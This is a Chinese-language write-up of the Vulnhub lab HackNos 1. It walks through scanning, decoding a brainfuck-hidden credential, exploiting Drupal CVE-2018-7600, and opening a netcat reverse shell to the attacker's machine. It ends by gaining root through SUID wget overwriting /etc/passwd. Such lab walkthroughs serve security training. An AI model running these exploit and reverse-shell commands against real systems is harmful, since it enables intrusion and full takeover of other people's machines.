Vulnhub之HackNos 1详细测试过程
HackNos 1
识别目标主机IP地址
(kali㉿kali)-[~/Vulnhub/HackNos1]
└─$ sudo netdiscover -i eth1 -r 192.168.56.0/24
Currently scanning: 192.168.56.0/24 | Screen View: Unique Hosts
3 Captured ARP Req/Rep packets, from 3 hosts. Total size: 180
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.56.1 0a:00:27:00:00:06 1 60 Unknown vendor
192.168.56.100 08:00:27:8e:0a:96 1 60 PCS Systemtechnik GmbH
192.168.56.253 08:00:27:19:13:da 1 60 PCS Systemtechnik GmbH
利用Kali Linux的netdiscover工具识别目标主机IP地址为192.168.56.253
NMAP扫描
──(kali㉿kali)-[~/Vulnhub/HackNos1]
└─$ sudo nmap -sS -sV -sC -p- 192.168.56.253 -oN nmap_full_scan
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-24 23:59 EDT
Nmap scan report for bogon (192.168.56.253)
Host is up (0.000098s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a5a517704dbe48adba64c107a05503ea (RSA)
| 256 f2ce421c04b899539542ab8922669edb (ECDSA)
|_ 256 4a7d156583af82a31202211c2349fbe9 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.18 (Ubuntu)
MAC Address: 08:00:27:19:13:DA (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.67 seconds
NMAP扫描结果表明目标主机有2个开放端口：22（ssh)、80（http)
获得Shell
┌──(kali㉿kali)-[~/Vulnhub/HackNos1]
└─$ curl http://192.168.56.253/robots.txt
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.18 (Ubuntu) Server at 192.168.56.253 Port 80</address>
</body></html>
┌──(kali㉿kali)-[~/Vulnhub/HackNos1]
└─$ nikto -h http://192.168.56.253
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 192.168.56.253
+ Target Hostname: 192.168.56.253
+ Target Port: 80
+ Start Time: 2023-03-25 00:00:46 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.18 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Server may leak inodes via ETags, header found with file /, inode: 2c39, size: 59633974a1f12, mtime: gzip
+ Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS
+ OSVDB-3233: /icons/README: Apache default file found.
+ 7915 requests: 0 error(s) and 7 item(s) reported on remote host
+ End Time: 2023-03-25 00:01:36 (GMT-4) (50 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
┌──(kali㉿kali)-[~/Vulnhub/HackNos1]
└─$ gobuster dir -u http://192.168.56.253 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.html,.js,.sh,.txt
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.56.253
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.3
[+] Extensions: php,html,js,sh,txt
[+] Timeout: 10s
===============================================================
2023/03/25 00:02:08 Starting gobuster in directory enumeration mode
===============================================================
/index.html (Status: 200) [Size: 11321]
/.html (Status: 403) [Size: 279]
/.php (Status: 403) [Size: 279]
/drupal (Status: 301) [Size: 317] [--> http://192.168.56.253/drupal/]
/alexander.txt (Status: 200) [Size: 393]
/.html (Status: 403) [Size: 279]
/.php (Status: 403) [Size: 279]
/server-status (Status: 403) [Size: 279]
Progress: 1317761 / 1323366 (99.58%)===============================================================
2023/03/25 00:03:14 Finished
===============================================================
目录扫描阶段发现了目录：/drupal以及文件：/alexander.txt
┌──(kali㉿kali)-[~/Vulnhub/HackNos1]
└─$ curl http://192.168.56.253/alexander.txt | base64 -d
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 393 100 393 0 0 387k 0 --:--:-- --:--:-- --:--:-- 383k
+++++ +++++ [->++ +++++ +++<] >++++ ++.-- ----- --.<+ ++[-> +++<] >+++.
----- ---.< +++[- >+++< ]>+++ ++.<+ +++++ +[->- ----- -<]>- ----- --.<+
++[-> +++<] >++++ +.<++ +++[- >++++ +<]>. ++.++ +++++ +.--- ---.< +++[-
>+++< ]>+++ +.<++ +++++ [->-- ----- <]>-. <+++[ ->--- <]>-- -.+.- ---.+
++.<
这是brainfuck编码，用在线网站解码得到：
https://www.splitbrain.org/services/ook
james:Hacker@4514
不知道这是ssh的密码还是drupal的密码，分别尝试一下
──(kali㉿kali)-[~/Vulnhub/HackNos1]
└─$ ssh [email protected]
The authenticity of host '192.168.56.253 (192.168.56.253)' can't be established.
ED25519 key fingerprint is SHA256:h0yIfMN4Bukv3RMUspEBXwOXzImXvIPPSc2RZjB3cEM.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.56.253' (ED25519) to the list of known hosts.
[email protected]'s password:
Permission denied, please try again.
[email protected]'s password:
可以成功登录/drupal
从
http://192.168.56.253/drupal/CHANGELOG.txt
知道drupal版本为7.57
https://github.com/pimps/CVE-2018-7600
┌──(kali㉿kali)-[~/Vulnhub/HackNos1/CVE-2018-7600]
└─$ python drupa7-CVE-2018-7600.py http://192.168.56.253/drupal/ -c ls
=============================================================================
| DRUPAL 7 <= 7.57 REMOTE CODE EXECUTION (CVE-2018-7600) |
| by pimps |
=============================================================================
[*] Poisoning a form and including it in cache.
[*] Poisoned form ID: form-dCNohd49V58rf0ua7aGYvFK5MXbLR1rN2k0EjcA8Hoo
[*] Triggering exploit to execute: ls
CHANGELOG.txt
COPYRIGHT.txt
INSTALL.mysql.txt
INSTALL.pgsql.txt
INSTALL.sqlite.txt
INSTALL.txt
LICENSE.txt
MAINTAINERS.txt
README.txt
UPGRADE.txt
authorize.php
cron.php
includes
index.php
install.php
misc
modules
profiles
robots.txt
scripts
sites
themes
update.php
web.config
xmlrpc.php
──(kali㉿kali)-[~/Vulnhub/HackNos1/CVE-2018-7600]
└─$ python drupa7-CVE-2018-7600.py http://192.168.56.253/drupal/ -c 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.206 5555 >/tmp/f'
=============================================================================
| DRUPAL 7 <= 7.57 REMOTE CODE EXECUTION (CVE-2018-7600) |
| by pimps |
=============================================================================
[*] Poisoning a form and including it in cache.
[*] Poisoned form ID: form-mdv12Axro06nJqcBVq8ymjIsu3depWzXQfJAcAR0aMU
[*] Triggering exploit to execute: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.206 5555 >/tmp/f
──(kali㉿kali)-[~/Vulnhub/HackNos1]
└─$ sudo nc -nlvp 5555
[sudo] password for kali:
listening on [any] 5555 ...
connect to [192.168.56.206] from (UNKNOWN) [192.168.56.253] 33890
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ which python
$ which python3
/usr/bin/python3
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@hackNos:/var/www/html/drupal$
成功得到了目标主机反弹回来的Shell
www-data@hackNos:/home/james$ ls -alh
ls -alh
total 40K
drwxr-xr-x 3 james james 4.0K Nov 16 2019 .
drwxr-xr-x 3 root root 4.0K Oct 31 2019 ..
-rw------- 1 james james 2.6K Nov 16 2019 .bash_history
-rw-r--r-- 1 james james 220 Oct 31 2019 .bash_logout
-rw-r--r-- 1 james james 3.7K Oct 31 2019 .bashrc
drwx------ 2 james james 4.0K Oct 31 2019 .cache
-rw------- 1 root root 127 Oct 31 2019 .mysql_history
-rw-r--r-- 1 james james 655 Oct 31 2019 .profile
-rw-r--r-- 1 james james 0 Oct 31 2019 .sudo_as_admin_successful
-rw-rw-r-- 1 james james 175 Oct 31 2019 .wget-hsts
-rw-r--r-- 1 root root 357 Nov 16 2019 user.txt
www-data@hackNos:/home/james$ cat user.txt
cat user.txt
_
| |
/ __) ______ _ _ ___ ___ _ __
\__ \|______|| | | |/ __| / _ \| '__|
( / | |_| |\__ \| __/| |
|_| \__,_||___/ \___||_|
MD5-HASH : bae11ce4f67af91fa58576c1da2aad4b
www-data@hackNos:/home/james$
提权
由于wget有SUID位，根据GTFOBINS网站的步骤进行提权，但是失败：
www-data@hackNos:/tmp$ TF=$(mktemp)
TF=$(mktemp)
www-data@hackNos:/tmp$ chmod +x $TF
chmod +x $TF
www-data@hackNos:/tmp$ echo -e '#!/bin/sh -p\n/bin/sh -p 1>&0' >$TF
echo -e '#!/bin/sh -p\n/bin/sh -p 1>&0' >$TF
www-data@hackNos:/tmp$ /usr/bin/wget --use-askpass=$TF 0
/usr/bin/wget --use-askpass=$TF 0
/usr/bin/wget: unrecognized option '--use-askpass=/tmp/tmp.3K0o9eZTI0'
Usage: wget [OPTION]... [URL]...
Try `wget --help' for more options.
提权的方式就是通过下载目标靶机上的passwd，然后构造一个有root权限的用户加入到构造的passwd文件中，然后使用wget -O将内容重定向输入到/etc/passwd中
┌──(kali㉿kali)-[~/Vulnhub/HackNos1]
└─$ openssl passwd -6 -salt jason 123456
$6$jason$h5DlgYsVif/enQPTm/CgJ54tpQaPz0fwOmjoJKkTXi.EZ4Z6IOesX4REn/Dq8mXA4povr6tGXPy16EAcN.Ln41
bob用户是我们要添加的具有root权限的用户
www-data@hackNos:/tmp$ wget http://192.168.56.206:8000/passwd -O /etc/passwd
wget http://192.168.56.206:8000/passwd -O /etc/passwd
--2023-03-25 10:36:39-- http://192.168.56.206:8000/passwd
Connecting to 192.168.56.206:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1746 (1.7K) [application/octet-stream]
Saving to: '/etc/passwd'
/etc/passwd 100%[===================>] 1.71K --.-KB/s in 0s
2023-03-25 10:36:39 (493 MB/s) - '/etc/passwd' saved [1746/1746]
www-data@hackNos:/tmp$
STRIVE FOR PROGRESS,NOT FOR PERFECTION